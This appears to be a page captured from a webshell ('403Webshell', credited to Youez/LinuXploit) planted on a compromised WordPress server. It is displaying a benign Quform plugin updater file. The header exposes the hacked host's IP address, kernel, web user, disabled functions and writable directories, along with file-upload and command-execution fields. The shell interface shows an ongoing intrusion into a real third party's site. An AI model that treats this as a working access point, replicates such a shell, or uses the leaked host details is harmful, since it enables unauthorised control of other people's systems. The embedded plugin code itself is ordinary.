403Webshell
Server IP : 89.108.64.180  /  Your IP : 216.73.217.92
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux 89-108-64-180.cloudvps.regruhosting.ru 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-root ( 1010)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/fl-brief.agast.ru/wp-content/plugins/quform/library/Quform/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/fl-brief.agast.ru/wp-content/plugins/quform/library/Quform/Updater.php
<?php

/**
 * @copyright Copyright (c) 2009-2022 ThemeCatcher (https://www.themecatcher.net)
 */
class Quform_Updater
{
    /**
     * How long to cache the latest version information
     * @var int
     */
    const CACHE_TIME = 43200; // 12 hours

    /**
     * @var Quform_Api
     */
    protected $api;

    /**
     * @var Quform_License
     */
    protected $license;

    public function __construct(Quform_Api $api, Quform_License $license)
    {
        $this->api = $api;
        $this->license = $license;
    }

    /**
     * Add the update information to the transient object if an update exists
     *
     * @param  object $transient
     * @return object
     */
    public function setUpdateTransient($transient)
    {
        if (empty($transient) || !is_object($transient)) {
            return $transient;
        }

        $latestVersionInfo = $this->getLatestVersionInfo();

        if ($latestVersionInfo && version_compare(QUFORM_VERSION, $latestVersionInfo->new_version, '<')) {
            $transient->response[QUFORM_BASENAME] = $latestVersionInfo;
        } else {
            unset($transient->response[QUFORM_BASENAME]);

            $transient->no_update[QUFORM_BASENAME] = (object) array(
                'id' => QUFORM_NAME,
                'slug' => QUFORM_NAME,
                'plugin' => QUFORM_BASENAME,
                'new_version' => QUFORM_VERSION,
                'url' => 'https://www.quform.com/',
                'package' => ''
            );
        }

        return $transient;
    }

    /**
     * Validate the request to check for an update
     */
    protected function validateCheckForUpdateRequest()
    {
        if ( ! current_user_can('quform_settings')) {
            wp_send_json(array(
                'type'    => 'error',
                'message' => __('Insufficient permissions', 'quform')
            ));
        }

        if ( ! check_ajax_referer('quform_manual_update_check', false, false)) {
            wp_send_json(array(
                'type'    => 'error',
                'message' => __('Nonce check failed', 'quform')
            ));
        }
    }

    /**
     * Checks the for the latest version information for the Settings page
     */
    public function checkForUpdate()
    {
        $this->validateCheckForUpdateRequest();

        delete_site_transient('quform_latest_version_info');
        delete_site_transient('update_plugins');

        $latestVersionInfo = $this->getLatestVersionInfo(false);

        if ( ! $latestVersionInfo || ! isset($latestVersionInfo->new_version)) {
            wp_send_json(array(
                'type' => 'error',
                'message' => __('Could not find an updated version', 'quform')
            ));
        }

        if (version_compare(QUFORM_VERSION, $latestVersionInfo->new_version, '<')) {
            wp_send_json(array(
                'type' => 'success',
                'message' => wp_kses(sprintf(
                    /* translators: %1$s: the new version, %2$s: open link tag, %3$s: close link tag */
                    __('An update to version %1$s is available, %2$svisit the Plugins page%3$s to update.', 'quform'),
                    $latestVersionInfo->new_version,
                    sprintf('<a href="%s">', esc_url(admin_url('plugins.php'))),
                    '</a>'
                ), array('a' => array('href' => array())))
            ));
        } else {
            wp_send_json(array(
                'type' => 'success',
                'message' => __('You are using the latest version.', 'quform')
            ));
        }
    }

    /**
     * Get the latest version information
     *
     * @param   boolean $cache    Whether the information should be fetched from the cache if available
     * @return  boolean|StdClass  The version information object or false on failure
     */
    protected function getLatestVersionInfo($cache = true)
    {
        $latestVersionInfo = $cache ? get_site_transient('quform_latest_version_info') : false;

        if ( ! $latestVersionInfo) {
            // Fetch fresh version info
            $response = $this->api->get('/update-check', array(
                'license_key' => $this->license->getKey(),
                'site_url' => Quform::base64UrlEncode(site_url())
            ));

            if (is_array($response)) {
                if (isset($response['revoke'])) {
                    $this->license->revoke();
                    unset($response['revoke']);
                }

                $latestVersionInfo = (object) $response;
                $latestVersionInfo->slug = QUFORM_NAME;
                $latestVersionInfo->plugin = QUFORM_BASENAME;

                set_site_transient('quform_latest_version_info', $latestVersionInfo, self::CACHE_TIME);
            }
        }

        return $latestVersionInfo;
    }

    /**
     * Get plugin information
     *
     * @param   boolean         $false   Returned if the method call is not for this action or plugin
     * @param   string          $action  The action to perform
     * @param   object          $args    The current plugin data
     * @return  boolean|object           The plugin information data or the $false argument
     */
    public function pluginInformation($false, $action, $args)
    {
        // Do not interfere with other plugins or actions
        if ($action != 'plugin_information' || ! isset($args->slug) || $args->slug != QUFORM_NAME) {
            return $false;
        }

        $response = $this->api->get('/plugin-information', array(
            'license_key' => $this->license->getKey(),
            'site_url' => Quform::base64UrlEncode(site_url())
        ));

        if ( ! is_array($response)) {
            return $false;
        }

        $response['slug'] = QUFORM_NAME;

        return (object) $response;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit